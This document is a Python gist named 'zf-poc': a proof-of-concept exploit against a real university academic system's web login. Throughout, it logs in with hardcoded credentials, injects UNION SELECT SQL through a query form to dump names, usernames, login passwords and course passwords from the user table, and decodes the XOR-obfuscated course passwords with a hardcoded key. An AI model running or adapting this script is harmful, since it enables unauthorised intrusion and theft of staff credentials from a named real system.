zf-poc

gistfile1.py

#! /usr/bin/env python
# coding=utf-8
import sys
import requests
url_root = 'http://jwbinfosys.zju.edu.cn/'
url_login = ''
url_query = ''
cookie = {}


def help():
    print 'Usage : ', sys.argv[0], 'user'


def login():
  global cookie
	r = requests.get(url_root)
	t = r.headers['Set-cookie'].split(';')[0].split('=')
	cookie[t[0]] = t[1]
	postdata = {}
	t = r.content[r.content.find('__VIEWSTATE') + 20:]
	t = t[:t.find('"')]
	postdata['__VIEWSTATE'] = t
	postdata['TextBox1'] = '0007333'
	postdata['TextBox2'] = '0007333'
	postdata['Button1'] = ''
	postdata['Button2'] = ''
	postdata['RadioButtonList1'] = '教师'.decode('utf-8').encode('gbk')
	r = requests.post(url_login, cookies=cookie, data=postdata)
	if len(r.history) == 0:
		print '登陆失败'
		sys.exit()


def query(sql):
	global url_query, cookie
	result = []
	header = {}
	header['Referer'] = url_root
	header['Host'] = 'jwbinfosys.zju.edu.cn'
	r = requests.get(url_query, cookies=cookie, headers=header)
	t = r.content.decode('gbk').encode('utf-8')
	t = t[t.find('__VIEWSTATE') + 20:]
	t = t[:t.find('"')]
	postdata = {}
	postdata['__VIEWSTATE'] = t
	postdata['Dropdownlist5'] = ''
	postdata['Dropdownlist3'] = 'a.xh'
	postdata['Dropdownlist4'] = ''
	postdata['Dropdownlist1'] = ''
	postdata['Dropdownlist2'] = ''
	postdata['Button5'] = '查  询'.decode('utf-8').encode('gbk')
	postdata['TextBox1'] = sql
	r = requests.post(url_query, data=postdata, cookies=cookie, headers=header)
	t = r.content.decode('gbk').encode('utf-8')
	t = t[t.find('Dropdownlist4">') + 15:]
	t = t[:t.find('</select>')]
	while True:
		pos = t.find('">')
		if pos == -1:
			break
		t = t[pos + 2:]
		x = t[:t.find('</option>')]
		t = t[t.find('</option>') + 9:]
		result.append(x)
	return result


def main():
	global url_root, url_login, url_query
	url_login = url_root + 'default2.aspx'
	url_query = url_root + 'cjcx.aspx?xh=0007333'  # + sys.argv[2]
	login()
	xm = query("888888' union select yhm||xm yhm,xm from yhb where xm like '%" + sys.argv[1].decode('utf-8').encode('gbk'))
	yhm = query("888888' union select yhm||yhm yhm,yhm from yhb where xm like '%" + sys.argv[1].decode('utf-8').encode('gbk'))
	jsmm = query("888888' union select yhm||jsmm yhm,jsmm from yhb where xm like '%" + sys.argv[1].decode('utf-8').encode('gbk'))
	jskcmm = query("888888' union select yhm||jskcmm yhm,jskcmm from yhb where xm like '%" + sys.argv[1].decode('utf-8').encode('gbk'))
	print ''
	print '%-12s%-13s%-16s%-16s' % ('姓名', '用户名', '登录密码', '课程密码')
	print '--------------------------------------------------------'
	for i in range(len(xm)):
		xm[i] = xm[i][5:]
		yhm[i] = yhm[i][5:]
		jsmm[i] = jsmm[i][5:]
		jskcmm[i] = jskcmm[i][5:]
		if len(xm[i]) == 6:
			xm[i] = xm[i][:3] + '  ' + xm[i][3:]
			jskcmm[i] = decode(jskcmm[i])
		else:
			yhm[i] = ' ' + yhm[i]
			jsmm[i] = ' ' + jsmm[i]
			jskcmm[i] = ' ' + decode(jskcmm[i])
		print '%-12s%-10s%-16s%-16s' % (xm[i], yhm[i], jsmm[i], jskcmm[i])
	print ''


def decode(src):
	key = 'Encrypt01'
	str3 = ''
	num3 = 0
	num4 = len(src)
	if len(src) % 2 == 0:
		str4 = src[:num4 / 2]
		str4 = str4[::-1]
		str5 = src[num4 / 2:]
		str5 = str5[::-1]
		src = str4 + str5
	for i in range(num4):
		str6 = src[i:i + 1]
		str2 = key[num3:num3 + 1]
		if ((ord(str6[0]) ^ ord(str2[0])) < 0x20) or ((ord(str6[0]) ^ ord(str2[0])) > 0x7E) or (ord(str6[0]) < 0) or (ord(str6[0]) > 0xFF):
			str3 = str3 + str6
		else:
			str3 = str3 + str(chr(ord(str6[0]) ^ ord(str2[0])))
		num3 = num3 + 1
		if num3 == len(key):
			num3 = 0
	return str3

if __name__ == '__main__':
	if len(sys.argv) != 2:
		help()
		sys.exit()
	main()